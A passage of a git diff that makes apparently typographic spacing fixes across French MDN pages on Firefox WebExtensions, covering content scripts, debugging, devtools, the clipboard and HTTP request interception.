portFromCS.postMessage({greeting: "salut, script de contenu !"}); + portFromCS.postMessage({greeting: "salut, script de contenu !"}); portFromCS.onMessage.addListener(function(m) { console.log("Dans le script d'arrière-plan, réception d'un message du script de contenu.") console.log(m.greeting); @@ -335,7 +335,7 @@ function connected(p) { browser.runtime.onConnect.addListener(connected); browser.browserAction.onClicked.addListener(function() { - portFromCS.postMessage({greeting: "clic sur le bouton !"}); + portFromCS.postMessage({greeting: "clic sur le bouton !"}); }); ``` @@ -366,7 +366,7 @@ browser.browserAction.onClicked.addListener(function() { Bien que les scripts de contenu ne puissent (par défaut) accéder aux objets créés par les scripts de page, ils peuvent cependant communiquer avec les scripts de page en utilisant les API [`window.postMessage`](/fr/docs/Web/API/Window/postMessage) et [`window.addEventListener`](/fr/docs/Web/API/EventTarget/addEventListener) du DOM. -Par exemple : +Par exemple : ```js // page-script.js @@ -389,7 +389,7 @@ window.addEventListener("message", function(event) { if (event.source == window && event.data && event.data.direction == "from-page-script") { - alert("Le script de contenu a reçu ce message : \"" + event.data.message + "\""); + alert("Le script de contenu a reçu ce message : \"" + event.data.message + "\""); } }); ``` @@ -398,7 +398,7 @@ Pour un exemple complet et fonctionnel, [visitez la page de démo sur Github](ht > **Attention :** Notez que vous devez être très prudent lorsque vous interagissez avec du contenu Web non fiable de cette manière. Les extensions sont du code privilégié qui peut avoir de puissantes capacités et les pages Web hostiles peuvent facilement les amener à accéder à ces capacités. > -> Pour donner un exemple trivial, supposons que le code du script de contenu qui reçoit le message ressemble à ceci : +> Pour donner un exemple trivial, supposons que le code du script de contenu qui reçoit le message ressemble à ceci : > > ```js > // content-script.js @@ -418,12 +418,12 @@ Pour un exemple complet et fonctionnel, [visitez la page de démo sur Github](ht Dans Chrome, {{jsxref("Objets_globaux/eval","eval()")}} exécute toujours le code dans le contexte du script de contenu et pas dans le contexte de la page. -Dans Firefox : +Dans Firefox : - Si vous appelez `eval()`, le code est exécuté dans le contexte du **script de contenu** - Si vous appelez `window.eval()`, le code est exécute dans le contexte de la **page**. -Par exemple, considérons un script de contenu comme ceci : +Par exemple, considérons un script de contenu comme ceci : ```js // content-script.js @@ -468,7 +468,7 @@ Dans Firefox, on aura le résultat suivant : La même chose s'applique pour [`setTimeout()`](/fr/docs/Web/API/WindowTimers/setTimeout), [`setInterval()`](/fr/docs/Web/API/WindowTimers/setInterval), et [`Function()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function). -> **Attention :** Lorsque vous exécutez du code dans le contexte de la page, l'avertissement précédent reste nécessaire : l'environnement de la page est contrôlé par des pages web potentiellement malveillantes qui peuvent redéfinir les objets avec lesquels vous interagissez : +> **Attention :** Lorsque vous exécutez du code dans le contexte de la page, l'avertissement précédent reste nécessaire : l'environnement de la page est contrôlé par des pages web potentiellement malveillantes qui peuvent redéfinir les objets avec lesquels vous interagissez : > > ```js > // page.js redéfinit console.log @@ -476,7 +476,7 @@ La même chose s'applique pour [`setTimeout()`](/fr/docs/Web/API/WindowTimers/se > var original = console.log; > > console.log = function() { -> original(true); +> original(true); > } > ``` > diff --git a/files/fr/mozilla/add-ons/webextensions/debugging_(before_firefox_50)/index.md b/files/fr/mozilla/add-ons/webextensions/debugging_(before_firefox_50)/index.md index a8a9f523b5..96912ee6b9 100644 --- a/files/fr/mozilla/add-ons/webextensions/debugging_(before_firefox_50)/index.md +++ b/files/fr/mozilla/add-ons/webextensions/debugging_(before_firefox_50)/index.md @@ -131,7 +131,7 @@ Essayons avec l'exemple ci-dessus : sélectionnez l'onglet Console dans la boît {{EmbedYouTube("Qpx0n8gP3Qw")}} -Un problème ici est que la console vous montre les messages de l'ensemble du navigateur, donc il peut y avoir beaucoup de bruit. Lisez [comment filtrer les messages de journal](/fr/docs/Tools/Web_Console/Console_messages#Filtering_and_searching) pour obtenir de l'aide à ce sujet. +Un problème ici est que la console vous montre les messages de l'ensemble du navigateur, donc il peut y avoir beaucoup de bruit. Lisez [comment filtrer les messages de journal](/fr/docs/Tools/Web_Console/Console_messages#Filtering_and_searching) pour obtenir de l'aide à ce sujet. ### Débogage JavaScript @@ -139,9 +139,9 @@ Avec la Toolbox du navigateur, vous pouvez utiliser le débogueur JavaScript pou Les scripts en arrière-plan sont toujours disponibles dans le débogueur si l'extension est installée et activée. Les scripts popup ne deviennent visibles que lorsque le popup est ouvert. Si vous avez besoin d'accéder aux scripts popup dès qu'ils se chargent, essayez d'ajouter un [`debogueur`](/fr/docs/Web/JavaScript/Reference/Statements/debugger) ; instruction au début du script. -Pour utiliser le débogueur JavaScript, sélectionnez l'onglet Débogueur dans la boîte à outils du navigateur. Le travail suivant est donc de trouver le code de votre extension : pour ce faire [cliquez dans la boite de recherche et tapez le nom de la source](/fr/docs/Tools/Debugger/How_to/Search_and_filter). +Pour utiliser le débogueur JavaScript, sélectionnez l'onglet Débogueur dans la boîte à outils du navigateur. Le travail suivant est donc de trouver le code de votre extension : pour ce faire [cliquez dans la boite de recherche et tapez le nom de la source](/fr/docs/Tools/Debugger/How_to/Search_and_filter). -Une fois que vous avez trouvé votre source, vous pouvez définir des points d'arrêt, passer en revue le code et faire [tout ce que vous vous attendez à pouvoir faire dans un débogueur](/fr/docs/Tools/Debugger). +Une fois que vous avez trouvé votre source, vous pouvez définir des points d'arrêt, passer en revue le code et faire [tout ce que vous vous attendez à pouvoir faire dans un débogueur](/fr/docs/Tools/Debugger). {{EmbedYouTube("3edeJiG38ZA")}} @@ -191,7 +191,7 @@ Le problème avec les panneaux de débogage en général est qu'ils sont cachés > > Notez également que le changement est persistant, même si le navigateur redémarre. Nous travaillons à résoudre ce problème dans le [bug 1251658](https://bugzilla.mozilla.org/show_bug.cgi?id=1251658), mais d'ici là, vous préférerez peut-être réactiver la fonction Autohide en cliquant à nouveau sur le bouton avant de fermer la boîte à outils du navigateur. > -> En interne, ce bouton bascule juste la préférence `ui.popup.disable_autohide` que vous pouvez basculer manuellement en utilisant using about:config. +> En interne, ce bouton bascule juste la préférence `ui.popup.disable_autohide` que vous pouvez basculer manuellement en utilisant using about:config. #### Ouvrir la fenêtre contextuelle @@ -209,6 +209,6 @@ Maintenant, le champ d'application de la boîte à outils est le popup. Dans l'I ## Qu'en est-il de l'Add-on Deboguer ? -Le [deboguer des modules complémentaires](/fr/Add-ons/Add-on_Debugger) est destiné à être l'évanir du débogage des add-on dans Firefox. +Le [deboguer des modules complémentaires](/fr/Add-ons/Add-on_Debugger) est destiné à être l'évanir du débogage des add-on dans Firefox. Son grand avantage par rapport à la Browser Toolbox est qu'il ne montre que les fichiers de votre extension, donc il est beaucoup plus facile de trouver votre code. Cependant, pour le moment, vous ne pouvez pas voir les messages de console de votre extension dans l'Add-on Debugger, donc la Browser Toolbox est plus fonctionnelle. diff --git a/files/fr/mozilla/add-ons/webextensions/developing_webextensions_for_thunderbird/index.md b/files/fr/mozilla/add-ons/webextensions/developing_webextensions_for_thunderbird/index.md index bac2b7d05d..aadd8eb282 100644 --- a/files/fr/mozilla/add-ons/webextensions/developing_webextensions_for_thunderbird/index.md +++ b/files/fr/mozilla/add-ons/webextensions/developing_webextensions_for_thunderbird/index.md @@ -15,6 +15,6 @@ Vous aborderez le codage d'une extension pour Thunderbird de la même manière q ## Voir aussi -- [Thunderbird specific WebExtension API documentation](https://thunderbird-webextensions.readthedocs.io/en/latest/) +- [Thunderbird specific WebExtension API documentation](https://thunderbird-webextensions.readthedocs.io/en/latest/) - [Browser support for JavaScript APIs](/fr/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs) - [Browser compatibility for manifest.json](/fr/Add-ons/WebExtensions/Browser_compatibility_for_manifest.json) diff --git a/files/fr/mozilla/add-ons/webextensions/differences_between_api_implementations/index.md b/files/fr/mozilla/add-ons/webextensions/differences_between_api_implementations/index.md index d0d59dce3a..244804cd0c 100644 --- a/files/fr/mozilla/add-ons/webextensions/differences_between_api_implementations/index.md +++ b/files/fr/mozilla/add-ons/webextensions/differences_between_api_implementations/index.md @@ -37,7 +37,7 @@ Firefox est le seul navigateur majeur à avoir implémenté des promises pour le Les différences dans l'implémentation des fonctions de l'API d'extension entre les navigateurs se répartissent en trois grandes catégories : - Manque de soutien pour l'ensemble d'une fonction. Par exemple, au moment d'écrire ces lignes, Edge ne prend pas en charge la fonction de [`vide privée`](/fra/Add-ons/WebExtensions/API/privacy). -- Variations dans la prise en charge des fonctions au sein d'une fonction. Par exemple, au moment d'écrire ces lignes, Firefox ne supporte pas la fonction de [`notification`](/fr/Add-ons/WebExtensions/API/notifications) [onButtonClicked](/fr/Add-ons/WebExtensions/API/notifications/onButtonClicked) alors que Firefox est le seul navigateur qui supporte [onShown](/fr/docs/Mozilla/Add-ons/WebExtensions/API/notifications/onShown). +- Variations dans la prise en charge des fonctions au sein d'une fonction. Par exemple, au moment d'écrire ces lignes, Firefox ne supporte pas la fonction de [`notification`](/fr/Add-ons/WebExtensions/API/notifications) [onButtonClicked](/fr/Add-ons/WebExtensions/API/notifications/onButtonClicked) alors que Firefox est le seul navigateur qui supporte [onShown](/fr/docs/Mozilla/Add-ons/WebExtensions/API/notifications/onShown). - Fonctions propriétaires, supportant des fonctions spécifiques au navigateur. Par exemple, au moment d'écrire ces lignes, containers est une fonctionnalité spécifique à Firefox supportée par la fonction [contextualIdentities](/fr/Add-ons/WebExtensions/API/contextualIdentities). ## Touches Manifest diff --git a/files/fr/mozilla/add-ons/webextensions/examples/index.md b/files/fr/mozilla/add-ons/webextensions/examples/index.md index 5218e44c68..f372cbeef3 100644 --- a/files/fr/mozilla/add-ons/webextensions/examples/index.md +++ b/files/fr/mozilla/add-ons/webextensions/examples/index.md @@ -13,13 +13,13 @@ Pour illustrer la manière d'utiliser les API WebExtension, nous disposons d'un Ces exemples fonctionnent dans Firefox Nightly : la plupart travaillent dans les versions antérieures de Firefox, mais vérifiez la version minimum [strict_min_version](/fr/Add-ons/WebExtensions/manifest.json/applications) dans le fichier manifest.json de l'extension pour en être sur. -> **Attention :** Certains exemples ne fonctionnent que sur des domaines ou des pages spécifiques. Les détails des restrictions éventuelles sont fournis dans le fichier "readme" de chaque exemple. Aucun des exemples ne fonctionne par défaut dans les fenêtres de navigation privée, voir [Extensions dans la navigation privée](https://support.mozilla.org/en-US/kb/extensions-private-browsing#w_enabling-or-disabling-extensions-in-private-windows) pour plus de détails. +> **Attention :** Certains exemples ne fonctionnent que sur des domaines ou des pages spécifiques. Les détails des restrictions éventuelles sont fournis dans le fichier "readme" de chaque exemple. Aucun des exemples ne fonctionne par défaut dans les fenêtres de navigation privée, voir [Extensions dans la navigation privée](https://support.mozilla.org/en-US/kb/extensions-private-browsing#w_enabling-or-disabling-extensions-in-private-windows) pour plus de détails. Pour essayer ces exemples, clonez ensuite le dépôt : -1. Charger l'extension à partir de son dossier source en utilisant la fonction [Charger temporairement l'extension](/fr/Add-ons/WebExtensions/Temporary_Installation_in_Firefox). L'extension reste chargée jusqu'à ce que vous redémarriez Firefox. -2. Couvrir le dossier source de l'extension en ligne de commande et utiliser le [web-ext](/fr/Add-ons/WebExtensions/Getting_started_with_web-ext) pour exécuter l'extension. L'extension reste chargée jusqu'à ce que vous redémarriez Firefox. -3. Dans Firefox utilisez **File** > **Open File** et trouvez l'exemple dans le dossier de [`build`](https://github.com/mdn/webextensions-examples/tree/master/build). Le dossier `build` contient les versions construites et signées de tous les exemples. L'exemple est ainsi installé de façon permanente. +1. Charger l'extension à partir de son dossier source en utilisant la fonction [Charger temporairement l'extension](/fr/Add-ons/WebExtensions/Temporary_Installation_in_Firefox). L'extension reste chargée jusqu'à ce que vous redémarriez Firefox. +2. Couvrir le dossier source de l'extension en ligne de commande et utiliser le [web-ext](/fr/Add-ons/WebExtensions/Getting_started_with_web-ext) pour exécuter l'extension. L'extension reste chargée jusqu'à ce que vous redémarriez Firefox. +3. Dans Firefox utilisez **File** > **Open File** et trouvez l'exemple dans le dossier de [`build`](https://github.com/mdn/webextensions-examples/tree/master/build). Le dossier `build` contient les versions construites et signées de tous les exemples. L'exemple est ainsi installé de façon permanente. > **Attention :** Veuillez ne pas soumettre ces exemples de WebExtension à AMO (addons.mozilla.org), vous n'avez pas besoin de signer l'add-on pour exécuter les exemples de WebExtension. Il suffit de suivre les étapes ci-dessus. diff --git a/files/fr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.md b/files/fr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.md index 105c6bca57..c319aef65e 100644 --- a/files/fr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.md +++ b/files/fr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.md @@ -13,7 +13,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/extension_des_outils_de_developpeme --- {{AddonSidebar}} -> **Note :** Cette page décrit les API de devtools telles qu'elles existent dans Firefox 55. Bien que les API soient basées sur les [API devtools de chrome](https://developer.chrome.com/extensions/devtools), il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir quelles fonctionnalités sont actuellement manquantes, voir les [Limitations des APIs devtools](/fr/Add-ons/WebExtensions/Using_the_devtools_APIs#Limitations_of_the_devtools_APIs). +> **Note :** Cette page décrit les API de devtools telles qu'elles existent dans Firefox 55. Bien que les API soient basées sur les [API devtools de chrome](https://developer.chrome.com/extensions/devtools), il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir quelles fonctionnalités sont actuellement manquantes, voir les [Limitations des APIs devtools](/fr/Add-ons/WebExtensions/Using_the_devtools_APIs#Limitations_of_the_devtools_APIs). Vous pouvez utiliser les API WebExtensions pour étendre les outils de développement intégrés du navigateur. Pour créer une extension devtools, incluez la clé "[devtools_page](/fr/Add-ons/WebExtensions/manifest.json/devtools_page)" dans [manifest.json](/fr/Add-ons/WebExtensions/manifest.json): @@ -31,7 +31,7 @@ La page Devtools est chargée lorsque les devtools du navigateur sont ouverts et La page devtools n'a pas de DOM visible, mais peut inclure des sources JavaScript en utilisant les balises [`<script>`](/fr/docs/Web/HTML/Element/script). Les sources doivent être regroupées avec l'extension. Les sources ont accès à : -- Les API DOM normales accessibles via l'objet [`window`](/fr/docs/Web/API/Window) globale +- Les API DOM normales accessibles via l'objet [`window`](/fr/docs/Web/API/Window) globale - Les mêmes [API WebExtension que dans les Scripts de contenu](/fr/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs) - Les APIs devtools : @@ -76,13 +76,13 @@ Cela nécessite trois arguments obligatoires: le titre, l'icône et le contenu d ## Interaction avec la fenêtre cible -Les outils de développement sont toujours attachés à un onglet de navigateur particulier. Ceci est appelé "target" pour les outils de développement, ou la "fenêtre inspectée". Vous pouvez interagir avec la fenêtre inspectée en utilisant l'API [`devtools.inspectedWindow`](/fr/Add-ons/WebExtensions/API/devtools.inspectedWindow). +Les outils de développement sont toujours attachés à un onglet de navigateur particulier. Ceci est appelé "target" pour les outils de développement, ou la "fenêtre inspectée". Vous pouvez interagir avec la fenêtre inspectée en utilisant l'API [`devtools.inspectedWindow`](/fr/Add-ons/WebExtensions/API/devtools.inspectedWindow). ### Code d'exécution dans la fenêtre cible la fonction [`devtools.inspectedWindow.eval()`](/fr/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval) fournit une façon d'exécuter le code dans la fenêtre inspectée. -C'est un peu comme utiliser {{WebExtAPIRef("tabs.executeScript()")}} pour injecter un script de contenu, mais avec une différence importante : +C'est un peu comme utiliser {{WebExtAPIRef("tabs.executeScript()")}} pour injecter un script de contenu, mais avec une différence importante : - Contrairement aux scripts de contenu, les scripts chargés à partir de `devtools.inspectedWindow.eval()` **n'obtiennent pas** [une "vue nette du DOM" ](/fr/Add-ons/WebExtensions/Content_scripts#DOM_access): c'est-à-dire qu'ils peuvent voir des modifications apportées à la page par les scripts de page. @@ -92,7 +92,7 @@ Les scripts chargés à l'aide de `devtools.inspectedWindow.eval()` ne voient pa ### Travailler avec les scripts de contenus -Un document devtools n'a pas d'accès direct à {{WebExtAPIRef("tabs.executeScript()")}}, donc, si vous devez injecter un script de contenu, le document devtools doit envoyer un message au script en arrière-plan en lui demandant d'injecter le script. La fonction [`devtools.inspectedWindow.tabId`](/fr/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId) fournit l'ID de l'onglet cible: le document devtools peut passer le script en arrière-plan, et le script de fond peut à son tour passer dans {{WebExtAPIRef("tabs.executeScript()")}}: +Un document devtools n'a pas d'accès direct à {{WebExtAPIRef("tabs.executeScript()")}}, donc, si vous devez injecter un script de contenu, le document devtools doit envoyer un message au script en arrière-plan en lui demandant d'injecter le script. La fonction [`devtools.inspectedWindow.tabId`](/fr/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId) fournit l'ID de l'onglet cible: le document devtools peut passer le script en arrière-plan, et le script de fond peut à son tour passer dans {{WebExtAPIRef("tabs.executeScript()")}}: ```js // devtools-panel.js @@ -119,7 +119,7 @@ function handleMessage(request, sender, sendResponse) { browser.runtime.onMessage.addListener(handleMessage); ``` -Si vous avez besoin d'échanger des messages entre les scripts de contenu exécutés dans la fenêtre cible et un document de developpement, il est judicieux d'utiliser {{WebExtAPIRef("runtime.connect()")}} et {{WebExtAPIRef("runtime.onConnect")}} pour configurer une connexion entre la page d'arrière-plan et le document devtools. La page d'arrière-plan peut alors maintenir un mappage entre les ID de l'onglet et les objets {{WebExtAPIRef("runtime.Port")}}, et utilisez-le pour acheminer les messages entre les deux champs. +Si vous avez besoin d'échanger des messages entre les scripts de contenu exécutés dans la fenêtre cible et un document de developpement, il est judicieux d'utiliser {{WebExtAPIRef("runtime.connect()")}} et {{WebExtAPIRef("runtime.onConnect")}} pour configurer une connexion entre la page d'arrière-plan et le document devtools. La page d'arrière-plan peut alors maintenir un mappage entre les ID de l'onglet et les objets {{WebExtAPIRef("runtime.Port")}}, et utilisez-le pour acheminer les messages entre les deux champs.  diff --git a/files/fr/mozilla/add-ons/webextensions/firefox_differentiators/index.md b/files/fr/mozilla/add-ons/webextensions/firefox_differentiators/index.md index 0b825b911c..da49da5f0a 100644 --- a/files/fr/mozilla/add-ons/webextensions/firefox_differentiators/index.md +++ b/files/fr/mozilla/add-ons/webextensions/firefox_differentiators/index.md @@ -88,7 +88,7 @@ Firefox offre également des fonctionnalités uniques que vous pouvez utiliser p <tr> <td> <p> - Ajoutez une dimension supplémentaire à vos thèmes en + Ajoutez une dimension supplémentaire à vos thèmes en <a href="/fr/Add-ons/WebExtensions/API/theme" >mettant à jour le thème du navigateur au moment de l'exécution</a >. Avec cette fonction, vous pouvez alterner les thèmes par heure de @@ -103,7 +103,7 @@ Firefox offre également des fonctionnalités uniques que vous pouvez utiliser p <td> <p> Effectuez des recherches directement à partir de votre extension, avec - des fonctions pour obtenir les détails avec la <a + des fonctions pour obtenir les détails avec la <a href="/fr/Add-ons/WebExtensions/API/browserSettings" >possibilité de modifier (certains) paramètres globaux du navigateur</a @@ -117,7 +117,7 @@ Firefox offre également des fonctionnalités uniques que vous pouvez utiliser p <p> Permettez aux utilisateurs d'ajouter de manière fiable les fonctionnalités de votre extension à de nouvelles pages et de nouveaux - sites, avec la possibilité <a + sites, avec la possibilité <a href="/fr/Add-ons/WebExtensions/API/contentScripts" >enregistrer et de désinscrire des scripts de contenu au moment de l'exécution</a @@ -130,7 +130,7 @@ Firefox offre également des fonctionnalités uniques que vous pouvez utiliser p <td> <p> Profitez des services externes pour gérer les protocoles ou les types - de contenu en enregistrant les <a + de contenu en enregistrant les <a href="/fr/Add-ons/WebExtensions/manifest.json/protocol_handlers" >gestionnaires de protocole</a > diff --git a/files/fr/mozilla/add-ons/webextensions/firefox_workflow_overview/index.md b/files/fr/mozilla/add-ons/webextensions/firefox_workflow_overview/index.md index 8236ee7bc5..18225f1697 100644 --- a/files/fr/mozilla/add-ons/webextensions/firefox_workflow_overview/index.md +++ b/files/fr/mozilla/add-ons/webextensions/firefox_workflow_overview/index.md @@ -90,7 +90,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Firefox_workflow_overview <td> <ul> <li> - Packager votre extension avec la <a + Packager votre extension avec la <a href="/fr/Add-ons/WebExtensions/Getting_started_with_web-ext#Packaging_your_extension" > brique web-ext</a @@ -141,4 +141,4 @@ translation_of: Mozilla/Add-ons/WebExtensions/Firefox_workflow_overview \* Ou distribuez votre extension pour le [chargement latéral](/fr/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons), les [applications de bureaux](/fr/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_for_desktop_apps), ou [dans une enteprise](/fr/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_in_the_enterprise). -**Vous avez une extension que vous souhaitez porter à Firefox?** Nous fournissons des conseils, des directives et des outils pour vous aider à rendre le portage simple. Pour commencer, visitez [Portage d'une extension Google Chrome](/fr/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension). +**Vous avez une extension que vous souhaitez porter à Firefox?** Nous fournissons des conseils, des directives et des outils pour vous aider à rendre le portage simple. Pour commencer, visitez [Portage d'une extension Google Chrome](/fr/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension). diff --git a/files/fr/mozilla/add-ons/webextensions/implement_a_settings_page/index.md b/files/fr/mozilla/add-ons/webextensions/implement_a_settings_page/index.md index b0ede23793..9af8e38a92 100644 --- a/files/fr/mozilla/add-ons/webextensions/implement_a_settings_page/index.md +++ b/files/fr/mozilla/add-ons/webextensions/implement_a_settings_page/index.md @@ -158,7 +158,7 @@ Cela fait deux choses : Vous pouvez stocker les valeurs des paramètres dans le stockage local à la place si vous pensez que le stockage local est préférable pour votre extension. -> **Note :** L'implémentation de `storage.sync` dans Firefox repose sur l'ID du module complémentaire. Si vous utilisez `storage.sync`, vous devez définir un ID pour votre extension à l'aide de la clé manifest.json des [`applications`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications) comme indiqué dans l'exemple de manifeste ci-dessus. +> **Note :** L'implémentation de `storage.sync` dans Firefox repose sur l'ID du module complémentaire. Si vous utilisez `storage.sync`, vous devez définir un ID pour votre extension à l'aide de la clé manifest.json des [`applications`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications) comme indiqué dans l'exemple de manifeste ci-dessus. Finalement, mettez à jour "borderify.js" pour lire la couleur de la bordure depuis le stockage : diff --git a/files/fr/mozilla/add-ons/webextensions/interact_with_the_clipboard/index.md b/files/fr/mozilla/add-ons/webextensions/interact_with_the_clipboard/index.md index 46beb08790..7e1b21446f 100644 --- a/files/fr/mozilla/add-ons/webextensions/interact_with_the_clipboard/index.md +++ b/files/fr/mozilla/add-ons/webextensions/interact_with_the_clipboard/index.md @@ -20,7 +20,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/interagir_avec_le_presse_papier --- {{AddonSidebar}} -ll y a deux façons dont les extensions de navigateur peuvent interagir avec le presse-papiers système : la méthode {{domxref("Document.execCommand()")}} et l'asynchrone moderne de l'[API Presse-papiers](/fr/docs/Web/API/Clipboard_API). +ll y a deux façons dont les extensions de navigateur peuvent interagir avec le presse-papiers système : la méthode {{domxref("Document.execCommand()")}} et l'asynchrone moderne de l'[API Presse-papiers](/fr/docs/Web/API/Clipboard_API). La méthode {{domxref("Document.execCommand()")}} peut être utilisée, en spécifiant la commande désirée : @@ -67,7 +67,7 @@ document.querySelector("#copy").addEventListener("click", copy); Parce que l'appel `execCommand()` se trouve à l'intérieur d'un gestionnaire d'événements click, vous n'avez pas besoin de permissions spéciales ici. -Cependant, disons que vous déclenchez plutôt la copie à partir d'une alarme : +Cependant, disons que vous déclenchez plutôt la copie à partir d'une alarme : ```js function copy() { @@ -87,7 +87,7 @@ Selon le navigateur, cela peut ne pas fonctionner. Sur Firefox, cela ne fonction document.execCommand(‘cut’/‘copy’) was denied because it was not called from inside a short running user-generated event handler. -Pour activer ce cas d'utilisation, vous devez demander [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `"clipboardWrite"`. Alors : `"clipboardWrite"` vous permet d'écrire dans le presse-papiers en dehors d'un gestionnaire d'événements de courte durée pour une action utilisateur. +Pour activer ce cas d'utilisation, vous devez demander [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `"clipboardWrite"`. Alors : `"clipboardWrite"` vous permet d'écrire dans le presse-papiers en dehors d'un gestionnaire d'événements de courte durée pour une action utilisateur. ### Utilisation de l'API Presse-papiers @@ -150,7 +150,7 @@ Considérez le HTML qui inclut quelque chose comme ceci : <button id="paste">Paste</button> ``` -Pour définir le contenu de l'élément {{HTMLElement("textarea")}} avec l'ID `"output"` du presse-papiers lorsque l'utilisateur clique sur le {{HTMLElement("button")}} `"coller"`, vous pouvez utiliser du code comme ceci : +Pour définir le contenu de l'élément {{HTMLElement("textarea")}} avec l'ID `"output"` du presse-papiers lorsque l'utilisateur clique sur le {{HTMLElement("button")}} `"coller"`, vous pouvez utiliser du code comme ceci : ```js function paste() { diff --git a/files/fr/mozilla/add-ons/webextensions/intercept_http_requests/index.md b/files/fr/mozilla/add-ons/webextensions/intercept_http_requests/index.md index 6a07d0d6e2..2d3ee8d753 100644 --- a/files/fr/mozilla/add-ons/webextensions/intercept_http_requests/index.md +++ b/files/fr/mozilla/add-ons/webextensions/intercept_http_requests/index.md @@ -92,7 +92,7 @@ Utilisons maintenant `webRequest` pour rediriger les requêtes HTTP. Commençons Ici, il s’agit simplement d’ajouter la [`permission`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) `"webRequestBlocking"`. Cette permission supplémentaire est requise lors de toute modification active d’une requête. -Modifions ensuite le fichier « background.js » comme suit : +Modifions ensuite le fichier « background.js » comme suit : ```js var pattern = "https://mdn.mozillademos.org/*"; @@ -111,11 +111,11 @@ browser.webRequest.onBeforeRequest.addListener( ); ``` -Encore une fois, nous utilisons l’écouteur d’évènement {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} pour exécuter une fonction juste avant le démarrage de chaque requête. Cette fonction remplace l’URL cible par l’URL de redirection `redirectUrl` spécifiée dans la fonction. +Encore une fois, nous utilisons l’écouteur d’évènement {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} pour exécuter une fonction juste avant le démarrage de chaque requête. Cette fonction remplace l’URL cible par l’URL de redirection `redirectUrl` spécifiée dans la fonction. -Cette fois-ci, toutes les requêtes ne sont pas interceptées. L’option `{urls:[pattern], types:["image"]}` indique qu’il ne faut intercepter que les requêtes (1) vers des URL résidant sous "https\://mdn.mozillademos.org/" (2) pour les ressources d’images. Consultez la documentation {{WebExtAPIRef("webRequest.RequestFilter")}} pour en savoir plus. +Cette fois-ci, toutes les requêtes ne sont pas interceptées. L’option `{urls:[pattern], types:["image"]}` indique qu’il ne faut intercepter que les requêtes (1) vers des URL résidant sous "https\://mdn.mozillademos.org/" (2) pour les ressources d’images. Consultez la documentation {{WebExtAPIRef("webRequest.RequestFilter")}} pour en savoir plus. -À noter également le passage de l’option `"blocking"`: passez cette option dès que vous souhaitez modifier la requête. La fonction d’écouteur bloque la requête réseau. Le navigateur attend alors que l’écouteur renvoie un résultat avant de continuer. Consultez la documentation {{WebExtAPIRef("webRequest.onBeforeRequest")}} pour en savoir plus sur l’option `"blocking"`. +À noter également le passage de l’option `"blocking"`: passez cette option dès que vous souhaitez modifier la requête. La fonction d’écouteur bloque la requête réseau. Le navigateur attend alors que l’écouteur renvoie un résultat avant de continuer. Consultez la documentation {{WebExtAPIRef("webRequest.onBeforeRequest")}} pour en savoir plus sur l’option `"blocking"`. Pour tester ce module, ouvrez une page MDN contenant beaucoup d’images (par exemple [https://developer.mozilla.org/fr/docs/Tools/Network_Monitor](/fr/docs/Tools/Network_Monitor)), [rechargez l'extension](/fr/Add-ons/WebExtensions/Temporary_Installation_in_Firefox#Reloading_a_temporary_add-on), puis rechargez la page MDN : @@ -156,7 +156,7 @@ La fonction d’écouteur n’est appelée qu’en cas de requête vers des URL La fonction d’écouteur recherche l’en-tête "User-Agent" dans la liste, remplace sa valeur par celle de la variable `ua` et renvoie la liste modifiée. Cette dernière est ensuite envoyée au serveur. -Pour tester ce module, accédez à [useragentstring.com](http://useragentstring.com/) et vérifiez que le navigateur identifié est Firefox. Rechargez ensuite l'extension, rechargez [useragentstring.com](http://useragentstring.com/) et vérifiez que Firefox a été remplacé par Opera : +Pour tester ce module, accédez à [useragentstring.com](http://useragentstring.com/) et vérifiez que le navigateur identifié est Firefox. Rechargez ensuite l'extension, rechargez [useragentstring.com](http://useragentstring.com/) et vérifiez que Firefox a été remplacé par Opera : {{EmbedYouTube("SrSNS1-FIx0")}} diff --git a/files/fr/mozilla/add-ons/webextensions/internationalization/index.md b/files/fr/mozilla/add-ons/webextensions/internationalization/index.md index 596a39a76c..dad4e99758 100644 --- a/files/fr/mozilla/add-ons/webextensions/internationalization/index.md +++ b/files/fr/mozilla/add-ons/webextensions/internationalization/index.md @@ -21,7 +21,7 @@ L'API [WebExtensions](/fr/Add-ons/WebExtensions) dispose d'un module assez prati ## Anatomie d'une extension internationnalisée -Une extension internationnalisée peut contenir les mêmes caractéristiques que n'importe quelle autre extension — [scripts d'arrière-plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts), [scripts de contenu](/fr/Add-ons/WebExtensions/Content_scripts), etc. — mais elle a également des parties supplémentaires pour lui permettre de basculer entre différentes locales. Ceux-ci sont résumés dans l'arborescence suivante : +Une extension internationnalisée peut contenir les mêmes caractéristiques que n'importe quelle autre extension — [scripts d'arrière-plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts), [scripts de contenu](/fr/Add-ons/WebExtensions/Content_scripts), etc. — mais elle a également des parties supplémentaires pour lui permettre de basculer entre différentes locales. Ceux-ci sont 